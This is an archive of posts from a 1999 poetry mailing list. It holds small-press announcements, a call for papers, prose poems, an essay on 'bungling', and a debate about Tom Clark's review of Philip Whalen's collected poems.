> *Which is to ask, has anyone read a good, substantial review of Whalen's new*
>
> *Collected?*
>
> *Cheers,*
>
> *Stephen Vincent*"
>
> _____
>
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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3. Patrick F. Durgin

Litmag mania / collect them all!

Wed 30 Jun 1999

Attention friends and their friends:

Through the month of August, a full set of the first four issues of Kenning is available for $25.00, postage paid. After I've sold out of these through this offer, these issues will be out of print permanently. The set comes in the format normally exculsive to subscribers: loose-leaf in a hand-printed portfolio. NOTE: This is the only way to acquire these issues short of having been an active subscriber all along. Although, you may still receive issue 4 by becoming an active subscriber. Kenning's 5th issue will be available as of August 1st, if all goes well. I urge you to have a look at the Kenning website for further information. You may also feel free to email me with any questions regarding

this offer. With your support, Kenning will continue to flourish and grow.
Thanks: Patrick F. Durgin

http://www.avalon.net/~kenning
[redacted]

Vol. 1, No. 1
"Premier Issue" Spring 1998
Poetry: Mark Wallace, Daniel Zimmerman, John Kinsella, Juliana Spahr, Summi Kaipa, Michael Angelo Tata, John Lowther, Ryan Whyte, Stephen Ellis. 22pps.

Vol. 1, No. 2 Summer 1998 Poetry: A.L. Nielsen, Emily Wilson, John M. Bennett, Keston Sutherland, Ron Silliman, Alfred Arteaga, Andrew Levy, Katy Lederer, Alice Notley, Taylor Brady, Liz Waldner, Paul Silvia, Jen Hofer, Heather Fuller and Rod Smith, Spencer Selby. Poetics: Alice Notley. 54pps.

Vol. 1, No. 3 Autumn/Winter 1998-9 Poetry: Daniel Bouchard, Standard Schaefer, Sheila Murphy, Charles Bernstein, John Lowther, Hoa Nguyen, Peter Ganick, Mark DuCharme, Lisa Jarnot, Ida Yoshinaga, Mark Prejsnar, Andrew Levy, Gustaf Sobin, Ray DiPalma. Non fiction: Susan Smith Nash. Poetics: John Taggart, Tina Darragh. Interview: Nathaniel Mackey. Book reviews: Jordan Davis' Poem on a Train, Yedda Morrison's The Marriage of the Well-Built Head. 71pps.

Vol. 2, No. 1 "Issue #4" Spring 1999 Poetry: Elizabeth Treadwell, Mark Prejsnar, Bill Luoma, Chelsey Minnis, Lous Cabri, Patrick Pritchett, Sheila Murphy, Mac Wellman, Kathy Lou Schultz, Bill Freind, Lisa Samuels, Leslie Scalapino, Anselm Berrigan, Eileen Myles. Non fiction: Dale Smith. Book reviews: Rachel Blau DuPlessis' Draft 32: Renga, Joan Retallack's How To Do Things With Words. 69pps.

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4. Kevin Magee
Re: burnt epistle
Wed 30 Jun 1999

D E A R A N G E L O F F I R E

"There are no compassionate, harmless ways to remake oneself. We murder ourselves so we can rebirth ourselves in our dreams."

Vietnamese woman living in Shepherd's Bush, London.
Quoted by Judith Barry.

Who Are These Coming to the Sacrifice?
The print has gone back, then. Many were missing at the theater.

Would they have seen what I saw? We see what they say,
or we say they can't see. After the second showing,
I went away, like Alma, the Indian Princess, empty inside.
It's the spectacle of her immolation, when I had thought
the closure of the film would balance out in the exchange
in passing to the Patrona outside the house where she,
Alma, as complex a sign for the category of Woman
as one might hope to find, has just given to Sacramento,
the High Priest of his mother's solitary sect, the experience
of his sex. He cuts his wrists. There is adoration in those eyes
whose owner is about to extinguish them of their light.
Which is the greater sin under the sign system, the church
no one here appears to be able to labor their way out of:
incest or suicide? But is the movie, then, about Religion?
The patchwork canvas rags that comprise the Big Top
of the Circo Fantasia and the no less haphazard colors
of the Theater Truck. The relation of Religion to Art.

Catalogue note: "In 1529, Giovanni Battist della Palla once more paid for Andrea to paint. This time the artist, anxious to recover his former patron's favor, exerted himself to the utmost, and produced his Sacrifice of Abraham, a picture far finer in expression than any other work of his later years. But the siege intervened . . ." You can hardly think of Alma, or her father, Renato the Clown, or the Patrona and her son, as characters at all in a fiction more or less awkwardly called "social-realist." The child, Noah, exists as some kind of rope or umbilical cord that keeps pulling Alma back to her childhood in his jester's outfit he wears to call the people to the theater and the Book of Forgiveness on which their names may be signed. The Redemptress (as she's called by the street kids straight out of that early film of Bunuel's) drives through the Barrios like an inveterate survivor of the ages, the Mystery Play. Angel del Fuego is about the martyrdom of Fictive Being. There is no hope, and the dead do not rise from their graves. In Dana Totenberg's second film, historical materialism arrives on the wing of Mortification and Miscarriage.

\ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /

Note: Totenberg or Rotenberg? Does anyone know if she's made any more films? The Judith Barry quote I associate with an exhibition at the Cleveland Art Museum when I first moved to Cleveland in the fall of 1996, where there was a multi-media installation of hers in a show that included an installation by Kevin Evans, whose Whitney shipping crate continues to grace the cooking area of my loft; Evans' installation was prison-guard uniforms on clotheslines, something to do with the prison industry and black working-class neighborhoods. The Cleveland Art Museum was one of five U.S. museums to

host the recent Diego Rivera exhibit, "Art and Revolution." Andrea del Sarto's "Sacrifice" is part of the its permanent collection.

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5. Tony Green

Re: burnt epistles

Thu 1 Jul 1999

George Bowering is right. It was the 1970s that the Italians were said to be burning mail. It was 1976 when I heard of it. Really, that's not so long ago. I am relieved to know that it was more than a rumour. It was on TV & must be true. Burning poetry is less likely to make it to the TV news, unless it's being done by a cute animal -- even if the police do suspect arson.

Tony Green

> *tony green wrote;*
>
> *"...there were rumours (just rumours) not long ago of Italian mail service getting so overloaded that tons of mail was burned to speed delivery up a bit."*
>
> *I saw a TV news programme with footage of such a thing being done in the late seventies in Italy. It involved little forklifts and bulldozers. At the time I thought: why cant this procedure be instituted for poetry?*
>
> *George Bowering.*
>
> *,*
>
> *fax:* [redacted]

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6. Deborah M Mix

Experimental Poetry & History (call for papers)

Thu 1 Jul 1999

Experimental American Poetry: Reforming History

NEMLA Convention, 7-8 April 2000, Buffalo, NY
Abstracts due by 15 September

How does innovative technique make possible innovative history? How does experiment help uncover the mechanisms of concealment and revelation in language and historical narrative? This panel will bring together investigations of the ways in which formal experimentation (particularly, though not limited to, the experimentation associated with Language Poetry) confronts history and the generic markers of historical narrative. Formal innovation often calls attention to the mechanisms of language, to the ways language both conceals and reveals, coerces and invokes; such attentiveness to the shapes and functions of language likewise revises the operations, structures, and boundaries of history. We seek papers that consider the consequences of, as well as the motives for, confrontations between experimental writing and history. How, for example, do the paradigm shifts demanded by these writings revise governing notions of tradition, of lineage, of what is "private," "personal," or "public"? Given that the convention is to take place in Buffalo, we are particularly insterested in papers that address the work of SUNY-Buffalo writers, such as Susan Howe and Charles Bernstein. However, papers on other authors will be equally welcome.

Questions concerning this panel may be addressed via email to panel co-chairs Deborah Mix <[redacted]> and/or Elizabeth Savage <[redacted]>. We prefer to receive abstracts by regular mail or fax; copies of proposals should be submitted to both of us no later than 15 September. Deborah Mix Elizabeth Savage Dept. of American Thought and Language Dept. of English Michigan State University Virginia Commonwealth Univ. 235 Bessey Hall 900 Park Ave. Box 842005 E. Lansing, MI 48824-1033 Richmond, VA 23284-2005 phone: 517/[redacted] phone: 804/[redacted] fax: 517/[redacted] fax: 804/[redacted]

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7. Michael Krebs

Re: uncompromising, but corrugated, position

Thu 1 Jul 1999

---

with refrigerator literature one
needs to be careful

there is always the under
lying need for preservation

you see it now more regularly
it being summer time and all

On Tue, 22 Jun 1999 19:14:14 +0000, Wendy Kramer wrote:

> *Spotted a refrigerator box today (with fridge inside, otherwise i would've carted it off) whose printed side panel read*
>
> *BACK*
>
> *LAY ON BACK ONLY*
>
> *this as opposed to FRONT (i walked 'round to check the other side) & in my mind*
> *it argued (& agitated) not only terms & correctness of sexual position but questions of grammar as well. "lie" or "lay" ? i can never keep it straight. "front" "back" or*
> *"volte face" ? one sighs in consternation.*

Get your free, private email at http://mail.excite.com/

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8. Dan Waber
Riding the Meridian
Thu 1 Jul 1999

For immediate release:

Riding the Meridian -- Nationality or Not
http://www.heelstone.com/meridian

Guest edited by Peter Howard

As words zip 'round the world on newsgroups, bulletin boards and mailing lists, all of us find certain people with whom we feel an enhanced form of kinship. Their ability to express themselves in writing, the nuances of their 'virtual' personalities, their sense of humor (or humour, depending on what form of English you're typing in), stylistic tastes, all add to and amplify one's own sense of enjoyment in being a writer in the late twentieth century. The person you're communicating with may be from another country as easily as they can be from down the street.

For me, one of these people is the very talented and well-spoken poet, panellist, and columnist, Peter Howard, who lives in Cambridge, England.

As guest editor for Riding the Meridian, Howard has assembled an international group of writers to help shed light on the impact the Internet is having on communication and national/regional writing and identity. From Andre

Mangeot's take on how easily the English language can subvert the spelling of his name, to Clinton V du Plessis's striking imagery about the conflict in South Africa, to Red Slider's tribute to Sam Grolmes on the occasion of receiving his translations of Ryuichi Tamura--where the character of the written language itself informs the meat of the poem, to Michael Rothenberg's imagined cyberchat between a group of French speakers and a would-be American tourist, Howard's choice of writers shows--here with pathos, there with wit--the incredible diversity at work within the Internet literary community. And to quote him: "Oooh, but I'm assuming everyone speaks some variety of English, aren't I? Naughty of me. The difference it makes to those who don't (in a pseudo-space where most do) is an interesting question in itself." Expect some enlightenment on that, as well as a short tour of Flash Fiction by Viktor Car, Alex Keegan, and Sheila Murphy, and many other surprises, as well.

It's been an honor to work with Peter on this issue; if anyone was metaphorically best suited to fully inaugurate Riding the Meridian, it was he.

* Net Premieres of new poetry link=the Poetry

by Jeffrey Alfier, miekal and, Robert James Berry, Jane C. Brandon, Linda Chase, Ronald Donn, Peter Finch, Liz Forbes, Claudia K. Grinnell, Peter Horn, John Horvath, Jr., Harold Janzen, Shikha Malaviya, Andrea Mangeot, Murray Moulding, Cynthia Newcomer, Alvin Pang, Clinton V du Plessis, Michael Rothenberg, Kenneth Sherman, Red Slider and Robert Sullivan.

* Something to Write Home About link=the Dialogue

Jeffrey Alfier, Douglas Barbour, Anne Berkeley, Liz Forbes, and Danny Huppatz, led by Peter Howard, discuss the effect the global nature of the Internet has on poetry and the literary community, with a link to a trAce hosted discussion forum.

* Word for Word link=the Dialogue

CK Tower interviews noted Australian poet and editor, John Tranter.

* In the Flesh link=the Dialogue

Chocolate Waters brings some fresh *meat* to the cyber table in the form of work by NYC poet, Penelope MaGuffin.

* Flashes on the Meridian link=the Means

Pamelyn Casto, who hosts the Flash Fiction Workshop, helps to define this very popular way of writing, with previously unpublished examples of the genre written by Viktor Car, Alex Keegan and Sheila Murphy.

* State of Affairs link=the Means

Peter Howard reviews "Leaving and Leaving You" by Sophie Hannah.

* Monster book of Poetry link=the Means

Peter Howard reviews "Satan is a Mathematician" by Keith Allen Daniels.

* Women Fly in Oregon link=the Means

Wendy Taylor Carlisle takes us along to meet Lucille Clifton at "Flight of the Mind", a yearly writing workshop.

* International, or Not? link=the Theory

Pamelyn Casto reveals the amazing diversity among literary sites available on the Net.

* Why Can't It Be X-MA: Agamben's Topoi and Spectacle Notes link=the Theory

Robert Donn on regionalism and poetic language.

* New Pastorals - A Streetmap link=the Theory

Tim Love takes a look at the topography of hypertext.

* Rhyme or Not link=the Theory

Dan Waber makes a case for a new kind of *cognitive* rhyme.

*****

contact: Editor - Jennifer Ley - [redacted]

*****

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9. Aldon Nielsen
innarresting booook
Thu 1 Jul 1999

N. J. Loftis's early 70s book BLACK ANIMA had long been thought unavailable -- but there must have been a box or two of them lingering in a warehouse, because it's now gettable through amazon.com -- This is an unusual book, with words of praise from both Auden & Ashbery -- the amazon listing tells you it's a paperback, but when the book arrives in your mail you'll find it's the original hardcover -- at only $7.95 it's well worth your trouble -- get 'em while they last!

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10. Alan Sondheim
Making a Mess out of Things, Making Things out of a Mess
Thu 1 Jul 1999

=--

Making a Mess out of Things, Making Things out of a Mess

An article I want to write describes bungling as a primary condition of human existence, the confusion that results from a tendency towards tele- ology on one hand, and the complexity of everyday life on the other. Con- spiracy theory depends upon transcendence, a world of cause and effect; bungling theory is based on literal chaos, marked trajectories in colli- sion. History, obviously after the fact, tends towards conspiracy, if only through the filtering of the past, and the ideology of that filtering; making sense of the world is making a world out of sense, that sense con- structed from senselessness. It is senseless all the way down; there are no armatures, articulations, that extend beyond immediate domains, and even universal physical laws apply with such a light force - even death as such - that the wobbling of the world is always in evidence for those who see with open eyes. (We fail to see, as if by accident, this is the arti- cle that I have wanted to write, that sight itself resides at the tail-end of the whip, the perceptual cleansing of an abjecting world.)

Bungling shapes the destiny of the human; it is a history always already not yet written, unwritable; it is in fact the nature of states-of-affairs in the Wittgensteinian and ordinary senses. Nothing proceeds according to plan because planning is always foreclosed, the result of a game occurring in a potential well permanently at odds with the rest of the universe, an impossibility. Heuristics come into play at every localized turn of ev- ents; the turn is of the nature of the bungle. Throughout, there are impe- tuses (let us say), trajectories/tendencies which proceed freely for a while, before hitting a wall or other dispersion. (We fail to see that obstacles are never placed, but of the order of the real.)

Likewise motives remain deeply and permanently unclear; the ascription of motive is again an ascription of history, the imputation of meaning. To accept the deep meaninglessness of the world - including the bungling within and without the genome - is to begin an understanding which goes nowhere, because there is nowhere to go. Meaning is a temporary hiatus, the strategy of substance and presence, just as the sememe presents once again localized constructs allowing the human to co-exist with its ab- sence. And beyond or before motives, there is truth itself, already shaken within the foundations of symbolic logic, but accepted, with considerable fanfare and maintenance, on the level of the life-world. Once again, iss- ues of foreclosure and bungling appear, since truth is confined to that very same potential well - it's as if nothing can get at truth, because truth can get at nothing. (We fail to see that nothing is just that, not a project nor a noun.)

For within the well, there is nothing at all, that is nothing ontological- ly viable - the well parallels the projections of the Platonic cave, a form of cinematic

diminishment allowing meaning to emerge. The cinema is the model for the construction of meaning, the jump-cut for example as a concatenation on the level of ideality, the linkages or couplings of thought. But such a construction can only be a projection or introjection - one immediately runs into a subjectivity undercutting the crystalline world of the Tractatus Logico-Philosophicus, which can still be taken as the analog of orderly non-bungling, no matter how the Sheffer stroke is tossed about within it. We are still inheritors of the 19th-century, and conspiracy theory dies hard. (We fail to see that the success of a plan is an after-effect.)

Which is not to say, by the way, that conspiracies do not exist or are not successful - but to say that they are not the order of the world, that assassinations are assassinations, that annihilations have no reason what-soever, no matter the cause. Or rather that the cause occurs within that potential well, that the ontological significance is nil, that acts of violence and non-violence, acts of criminality and acts of freedom and compassion, on a certain uncanny level, are idiotic in Clement Rosset's sense - that is, occurring within an inert and bungled world, and now, an overcrowded world deeply at odds with itself - and characterized by such odds. (We fail to see the foolishness around us.)

For this reason, it is reasonable to say, we are not making a mess out of things, but, existentially in fact, we are making things out of a mess, as if these things had prior commitments. And that such makes us happy and gives us a life to live, not even in-the-face-of anything or tendency at all, but within the structural need of the human to by and large persev- ere, reproduce. Every defeat of the conspiratorial is a defeat for all of us; every cause that appears set free in the middle of the night attempts the creation of a new language of transcendental meaning. On one hand, the ruthlessness of non-truth; on the other, the truth of ruthlessness. We live by the latter, the former breathing down our necks - like death, al- ways on the periphery of our project. The subject, us, is always under construction, and thereby lies the lie. (We fail to see there are lies without truths.)

Plan-et Ground

There are lies without truths; the probability of truth is zero as an in- finite number of alternatives to exactitude appear to gnaw at the founda- tions. Everyone from Max Black (and I assume earlier) has noticed this. I'm not saying anything new. It might not have been Max Black; it could have been anyone. Further, there are no foundations, not if they're so thin that they attempt to disappear at the slightest breath of the butter- fly phenomenon. They don't attempt to disappear; there's disappearance everywhere at work here in the Cosmos. One false step in a program, and... Try writing HTML and put an extra

< or > somewhere in the middle of a 20k page and see what emerges! Write a program and leave out the ; at the end of the line. You're beginning to get the picture - and it's lucky the pic- ture appears at all, given the compressions, translations, protocols, transmissions necessary for Nikuko's appearance in Cyberspace, New York. That's the Aristotelian rag, the classical logics that seem stable on the level of the real, keeping the values conserved and down. There's an econ- omy at work here. The breakdown-urge is greater than the holdfast. The Cosmos are full of part-objects, splatter-phenomena, dispersions without history, worn curb edges that nothing went past. To put a plan together is to foresee all possible consequences, defend against them. Any one of six billion people on the planet might conceivably show up at any moment, unwanted dinner guests, parasites in Serres' sense of the term. Plans are always already T-junctions, the thick stem replete with noise, temporary convolutions, circuit drains. Place the wrong ground in a circuit and electrons confuse everything, nothing travels much farther, all the images disappear; they were present for your eyes only, otherwise fallen apart. A recent rabbinical ruling specifies the name of God online isn't quite a name; the letters are pixels and independent, nothing stated or erased. You might think otherwise; you're permitted to think whatever you want, Speer tracing his footsteps over and over again, walking the plan-et earth on the prison grounds. There were no grounds; there were firewalls, there was no escape. The prison grounds grounded plan-et earth; countries sank into walled corridors and corners. You and I will look up into the same sky at the same time, our gaze will sustain us across these oceans. Water has memory; memory has no shape; shape is a gift to water. The T is the long-sought solution.

Coterie

Who makes these decisions anyway?

Poetics

When did the object begin and end, where was it spoken, who had spoken, how was it spoken, who, where, how, when?

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11. Stephen Vincent
Whalen
Thu 1 Jul 1999

I agree with Coletti's interp of Tom Clark's ambivalent review. In the context of the large public circulation of San Francisco Chronicle, and the fact that Whalen is at the near end of his life, certainly his career, I was disappointed

that Tom Clark focused on Whalen's slight and minor aspects, and somehow failed to look at the larger picture of Whalen's significance and mostly unacknowledged contribution to particularly American writing. (You would never know from the article that in 1969 Ron Padgett and Ted Berrigan(?) led a demonstration of a huge contingent of writers and readers around the offices of Harcourt & Brace when On Bears Head (the first anthology) to protest the inaccessible $17.50 hard cover price. In my opinion Whalen has produced some major stuff with large public intention (and no small knowledge of his relation and dialogue with his contemporaries and forbears). Among many works, as an entity, Scenes of Life at the Capital is probably my favorite, and (I believe) represents a real forward move from the Williams, Olson projects of poets who wander in City and spaces beyond. (In Whalen's case, Kyoto was the city.) My question remains as whether or not anybody has come to interesting and critical grips with Whalen's work?? By the way I must confess that I have not looked at the Penguin anthology. (I am more at home, where possible, with individual books. I always felt, for example, that the Black Sparrow Spicer anthology was a put off, or somehow diluted the unique power(magic) I got from reading the series of his individual White Rabbit and other press title books). On Bears Head, in fact, takes some fishing and sorting to take in the stronger spaces on the graph. (Clark is right to pick up on periods of disassociation and melancholia). But, from what I gather in response of my take on Clark's article, the Penguin anthology has created a mixed response, even among longtime Whalen readers. Good editors - assuming that the editing is the problem - at major publishing houses these days is not even a conceptual oxymoron in that the position of Editor, particularly that of a decently funded and supported Developmental Editor, appears to have gone the way of digital flesh. It might be of interest to the list for others to indicate Whalen work(s) that hit the "A" bell. As it has (for me) been to hear people speak of works by Ronald Johnson and Bob Grenier.

Cheers,
Stephen Vincent

Coletti wrote: This review got my goat when I first read it a month or so ago on Jacket. It is ambivalent, prodding, & terribly uninspired. How was this review (which appears to be the same one from the Chronicle)put together? Every complement is countered by a neutral or negative bit of language. Weighted down by "the patient reader," "certain obsessive themes," "finicky," "generalizing," "odd," and so forth, this review appears to be trying to pass off as a positive one while seeding itself with vague & underlying resentment. Clark describes Whalen's writing as "disarmingly self-deflating comedy" without giving any sort of an enthused explanation as to why this very truth can bring about some of the best comic writing around. In the end, one gets the feeling

that Tom Clark just dashed this one off to the presses. If he disliked the book then so be it. Say so. If he really felt that this "self-deprecating hipster-bodhissatva, wine glass and joint at the ready...remains perhaps the finest comic creation of the Beat era." then he sure made a lousy, shlocky stab at doing so. This selection was, in my opinion, one of the very best pieces of literature I came across this year. Whalen's writing deserves a better review than the limp & inchoate one that the Chronicle served up. I mean, count the words with typically negative connotations, and then read the review again. Inititally, I thought it was a positive review. Feeling somehow uneasy, I read it again. I don't think I would have picked the book up if I had simply read this review at face value without having already known of Whalen's writing and of this book specifically. For some, this will be a true shame.

John Coletti<<

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12. Stephen Ellis
Re: re(ad) Grenier
Thu 1 Jul 1999

A 16 pp transcription of a talk Robert Grenier delivered in 1993 in Franconia, NH (where he taught for a number of years in the early 70s)is available as :that:, vol. II, no. 1. :that:, for those not familiar with it, was a small monthly poetry publication the first series of which ran 24 issues from 1992 to 1994. A second series began with the Grenier issue in 1996, followed by a second issue in '98, but since then, they (we) seem to have run out of (you name it). For details, or what's left of them, (I know, for example, the Grenier issue was $5 three years ago, but don't know how many, or if any, are left, tho that can be established pretty easily, if and as there's interest) send an email reply to this address, or post either of the co-editors as follows:

Stephen Ellis / 23 Mitton St. / Portland, ME 04102, or
Stephen Dignazio / 1070 Easton Valley Rd. / Easton, NH 03580

- SE

> *From: A H Bramhall <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: re(ad) Grenier*
> *Date: Tue, 29 Jun 1999 17:07:26 -0400*
>
> *this isn't about me. as a teacher Robert Grenier was a sensitive, generous listener who found excitement and communicated it. tracking American Poetry from Whitman and Dickinson thru to Williams, Zukofky, Olson. Creeley, Levertov, O'Hara, Ashbery, Ginsberg, Coolidge, Saroyan... encompassing the*

> *range, tho it was with Olson that he showed the most warmth, or maybe that was my response (this isn't about me). a picture of Grenier with Olson, a good foot shorter than the Big Fire Source, the giant and the kid. Grenier moved north of Boston (teaching at Tufts I think) to be within hailing distance of Olson. reading "Skunk Island" by Robert Lowell as if it were a Zukofsky poem, syllable by syllable. he didn't seem distracted by the varying interests and abilities of students. he didn't slap you on the shoulder and say, great poem. he asked questions, he reread, he asked you to*
> *read, and read again. the discussion was in the air, he listened to the air.*
> *3rd eye staring. sometimes you, or I, would speak a phrase, somehow, perhaps*
> *unwittingly, happen upon an arrangement of words in writing or speech, as one does, that struck him, and he would excitedly explain what struck him. then he would credit you for finding. it wasn't encouragement, it was commitment. to Poetry, which seems such a flat statement as I type. the job at hand. recording his young daughter's Figures of Speech, found things. he made use of a hallway lined with cork bulletin boards, usually devoted to student artwork. carefully pinned 5x8 cards along the entire length, each card containing one poem (later to become Sentences). he asked, what will I do with these, his pile of 5x8 cards. a word gallery.*
>
> *could go*
> *quiet any time*
>
> *he arranged for Larry Eigner to read at the school. informally gathered around a couple of cafeteria tables, but an event nonetheless. if you want to call that a gesture (which it wasn't, it was interest, it was genuine), then call it a generous one. could we call Robert Grenier a pioneer? with the idea that pioneers walk forth with or without paths. 'career' simply describes his path. just responding to, seconding, Ron Silliman's push of RG.*

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13. Dale Smith

Re: Whalen

Thu 1 Jul 1999

If "Whalen's writing deserves a better review than the limp & inchoate one that the Chronicle served up," write it. I don't think the SF chron poetry reviews are making or breaking any reputations. It's encouraging, however, to see that a review of poetry can still generate passionate responses. Maybe Philip will get the critical attention he deserves.

> *This review got my goat when I first read it a month or so ago on Jacket.*
> *It is ambivalent, prodding, & terribly uninspired. How was this review*
> *(which appears to be the same one from the Chronicle)put together? Every*
> *complement is countered by a neutral or negative bit of language. Weighted*
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> *presses. If he disliked the book then so be it. Say so. If he really felt*
> *that this "self-deprecating hipster-bodhissatva, wine glass and joint at the*
> *ready...remains perhaps the finest comic creation of the Beat era." then he*
> *sure made a lousy, shlocky stab at doing so. This selection was, in my*
> *opinion, one of the very best pieces of literature I came across this year.*
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the Chronicle served up. I mean, count the words with typically negative
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a positive review. Feeling somehow uneasy, I read it again. I don't think
I would have picked the book up if I had simply read this review at face
value without having already known of Whalen's writing and of this book
specifically. For some, this will be a true shame.

John Coletti

From: Dale Smith <[redacted]>
Reply-To: UB Poetics discussion group
<[redacted]>
To: [redacted]
Subject: Re: Whalen
Date: Tue, 29 Jun 1999 22:40:28 GMT

If anyone is really interested in reading this "downer" review of Philip
Whalen by Tom Clark, you can browse:

www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1999/06/27/RV105857.DTL.

> *Tom's review in Jacket, or a 1996 review in the SF Chronicle of Whalen's*
> *Canoeing Up Cabarga Creek might seem more "generous and positive" to those*
> *used to book reviews reading like PR blurbs rather than critical engagements*
> *with poetry.*
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> *All*
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> *"There was a downer review of Whalen's new Penquin collection*
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> *(who was very public) had a paranoid streak that caused him to slash every*
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14. Susan M. Schultz
Re: burnt epistles
Thu 1 Jul 1999

I'll be off the list from July 2-19. If anyone needs me, I can be found--infrequently--at [redacted], in some internet cafe or other.

The next _Tinfish_ should be out at the end of the summer. Forthcoming chapbooks by Nell Altizer and Rob Wilson, as well.

all best, Susan

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15. Chris Stroffolino
Reviews....
Thu 1 Jul 1999

Well, then there's (on the other side?) the question of "positive" reviews. In the latest st. marks newsletter, for instance, there's at least two "positive" reviews of books that--if i didn't already know the books (one which i think is pretty damn great the other not bad but "excellent scribbling in a period style"---more on this backchannel)--would actually turn me away from reading them, more than a more AMBIVALENT review would. Since I'm more interested in the ISSUE than in the specifics, I leave the names blank for now.... curious what others think.... chris

On Wed, 30 Jun 1999, john coletti wrote:

> *This review got my goat when I first read it a month or so ago on Jacket. It is ambivalent, prodding, & terribly uninspired. How was this review (which appears to be the same one from the Chronicle)put together? Every complement is countered by a neutral or negative bit of language. Weighted down by "the patient reader," "certain obsessive themes," "finicky," "generalizing," "odd," and so forth, this review appears to be trying to pass off as a positive one while seeding itself with vague & underlying resentment. Clark describes Whalen's writing as "disarmingly self-deflating comedy" without giving any sort of an enthused explanation as to why this very truth can bring about some of the best comic writing around. In the end, one gets the feeling that Tom Clark just dashed this one off to the presses. If he disliked the book then so be it. Say so. If he really felt that this "self-deprecating hipster-bodhissatva, wine glass and joint at the ready...remains perhaps the finest comic creation of the Beat era." then he sure made a lousy, shlocky stab at doing so. This selection was, in my opinion, one of the very best pieces of literature I came across this year. Whalen's writing deserves a better review than the limp & inchoate one that the Chronicle served up. I mean, count the words with typically negative connotations, and then read the review again. Inititally, I thought it was a positive review. Feeling somehow uneasy, I read it again. I don't think*

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16. **Kevin Magee**

Re: What Was Whitman

Thu 1 Jul 1999

M O R E T H A N J U S T A P O S T E R B O Y

The advice of an amicable separation or revirement, "Was wir wollen" [What we want] in No. 10 the telegraph, oceanic intercourse embracing the world in a network, together with the German communists in New York in No. 13 you gush Philosophy de l'Avenir collectivistes, machinery on a massive scale, machine-making out of the cradle, the cotton gin, cotton trade, sheets like wadding in layers, they leave the machine fit for the press and bale . . . a belt

shifter . . . hemp carding and spinning . . . reels the cliver . . . cuts from the sheet, pastes, folds, India rubber rollers ballasting roads and crushing ores, Prize Medal industrial daguerreotypes, force pump California emporia over America and the Pacific Rim electrify into their vortex burlesque English Pindars across the Ohio's howls of the rowdies, conciliatory satellites, the African slave trade de factor Dred Scott, the Kansas war, Harriet Beecher Stowe said Buchanan (James, not Pat) bought his nomination by pledging the Union to conquer in Cuba a new field of dominion [the Ostend Manifesto on Oct. 18, 1854, declared the value of Cuba to U.S. was such that the island might be taken by force]. Memoranda rain, the war cry of the London press, he sang the bravura aria of his role mutato nomine de te fabula narratur (Lucan, Pharsalia), a mere bagatelle under the administration of Zuloaga and Miramón, relatives of the Emperor and fellow operators of haute poètique, framed by them in America, should the theater of the Aztecs be lost to Constantinople, Athens and Rome à la Ricardo Montauban, who flavored the world with a fat tome from Paris about his "discovery," a secret chapter of history? Norfolk, New Bern, Port Royal, Pensacola, New Orleans, Morgan annihilated at Frankfort, Rosencrans at Corinth, Tyre, Carthage and Alexandria, Genoa and Venice, London and Liverpool whitewashed "free labor" the exodus from Ireland in 1847-48 bulk labor in white skin branded in black skin. Color is a matter of indifference, the working class is everywhere born for slavery in the basin between the Rocky Mountains and the Alleghanies, in the valleys of the Mississippi, the Missouri, and Ohio rivers--there, beyond the Dykes, I heard windflakingSapphire--out the mouth of the Mississippi strong and hostile hands emanate the lot of the German and Irish 1857 Homeric exuberance interpellate Thouvenel, Peza-y-Peza forwarded to the poets as fast as it's bagged, 40s twist 4C-inch shirtings--"why shouldn't you be woke?"--the facades of the social look like a satyr, "Tussy" KM's daughter Eleanor a letter writer speak face to face fornicationally ships of glass two hundred miles off the African coast. The white trash are said to have come to Louisville (elimination of small tenant farmers in green Erin); Castlereagh would have forbid them to set foot on the street at all. Learn that the Irish in the United States are not a zero. In Hollyer's 1854 engraving, the "cute Yankee" a le flair bon. There is a Whitman that will one day belong to a mature historical materialism: the Catholic Emancipation, the Reform Bill, the repeal of the Corn Laws, the Ten Hours Bill, the war against Russia, Palmerston's Conspiracy Theory, including the instructions sent by the Captain General of Cuba to the Spanish commanders gone on Vienna. When lilacs last against a post foretold, a group of workers wrote: "It is not our part to call words of sorrow and horror while the heart of two worlds heaves with emotion . . . and rival with each other to strew rhetorical flowers on his open grave" (from Address of the International Working Men's Association to President Johnson, written between May 2 and 9, published in the Bee-Hive

May 20, signed May 13, 1865: R. Applegarth, carpenter; M.J. Boon, engineer; J. Buckley, painter; J. Hales, elastic web-weaver; Harriet Law; B. Lucraft, chair-maker; J. Milner, tailor; G. Odger, shoemaker; J. Ross, bootcloser; R. Shaw, painter; Cowell Stepney; J. Warren, trunk-maker; J. Weston, handrail maker; E. Dupont, instrument maker; Jules Johannard, lithographer; Paul Lafargue; G. Eccarius, tailor; F. Lessner, tailor; W. Limburg, shoemaker; Karl Marx; H. Jung, watchmaker; A. Müller, watchmaker; M. Bernard, painter; J. Cohn, cigarmaker; Zabicki, compositor).

\ > / < \

Notes:

The by no means weighty Paterson Labor Standard wanders about in an Atlantic Ocean air of melodrama, a sort of blue book on the condition of miners in Pennsylvania (1874-75).

"Thoreau never sounds more like a crank than on John Brown" (letter to Friedrich Adolph Sorge in Hoboken, New York Herald, August 3, 1871).

"Goethe, Prometheus, I, strophe 10."

the "redness" is said
the "redress" is said

↑ Index

17. Poetics List

niedecker question (fwd)

Fri 2 Jul 1999

This came to the administrative account.

---------- Forwarded message ----------
Date: Fri, 02 Jul 1999 23:16:56 -0700
From: janice miller <[redacted]>
To: [redacted]
Subject: niedecker question

In Lorine Niedecker: Woman and Poet (1996) Tandy Sturgeon suggests there will be a new edition of a collected Niedecker. Would anyone on your list know when this might come out? Or how I might find out more about its progress?

If you posted this question, responses could be sent to me at [redacted]

Janice Miller

↑ Index

18. Jamie Perez
Re: innarresting booook
Fri 2 Jul 1999

Must plead complete ignorance on this one (both book and author). But am intrigued. Could someone lend a descriptive hand? (maybe the first step to him having an EPC author page)

jamie.p

Aldon Nielsen wrote:
>
> N. J. Loftis's early 70s book BLACK ANIMA had long been thought unavailable
> -- but there must have been a box or two of them lingering in a warehouse,
> because it's now gettable through amazon.com -- This is an unusual book,
> with words of praise from both Auden & Ashbery -- the amazon listing tells
> you it's a paperback, but when the book arrives in your mail you'll find
> it's the original hardcover -- at only $7.95 it's well worth your trouble
